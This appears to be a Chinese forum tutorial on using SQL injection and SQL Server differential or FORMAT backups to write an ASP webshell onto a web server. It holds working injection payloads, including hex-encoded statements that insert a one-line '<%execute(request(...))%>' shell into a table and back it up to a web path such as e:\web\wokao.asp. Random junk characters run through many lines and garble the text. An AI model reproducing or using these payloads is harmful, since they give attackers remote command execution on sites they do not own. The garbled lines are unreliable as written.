减少备份文件大小,得到可执行的webshell成功率提高不少
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一利用差异备份+ T/ g- O$ a4 p7 A0 v
加一个参数WITH DIFFERENTIAL' K5 S3 ?4 p; x" D0 j
/ {# s0 L6 }* w7 j" g% Ideclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s( z4 k7 P; f$ B4 l, B. G
create table [dbo].[xiaolu] ([cmd] [image]);
3 ~2 W. H7 n @0 sinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" S' w- ^$ T5 W2 l
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT* _. C# H( L ^$ O" m, `
加一个参数WITH FROMAT
8 [5 j3 ` T: H# T7 t! U% }( M有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
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3 R, `4 \7 P, s) P: vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s3 M4 O G3 | Z0 u9 ?9 O Z
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)6 I8 I/ `( {2 s: t* z9 l u
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT2 t, u, ]5 e* T* @' e |
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总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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/ n8 A2 \1 k2 h/ c8 {( }0 xid=1;backup database model to disk=’你的路径‘ with differential,format;–8 [9 j9 P4 N: A6 C0 j T
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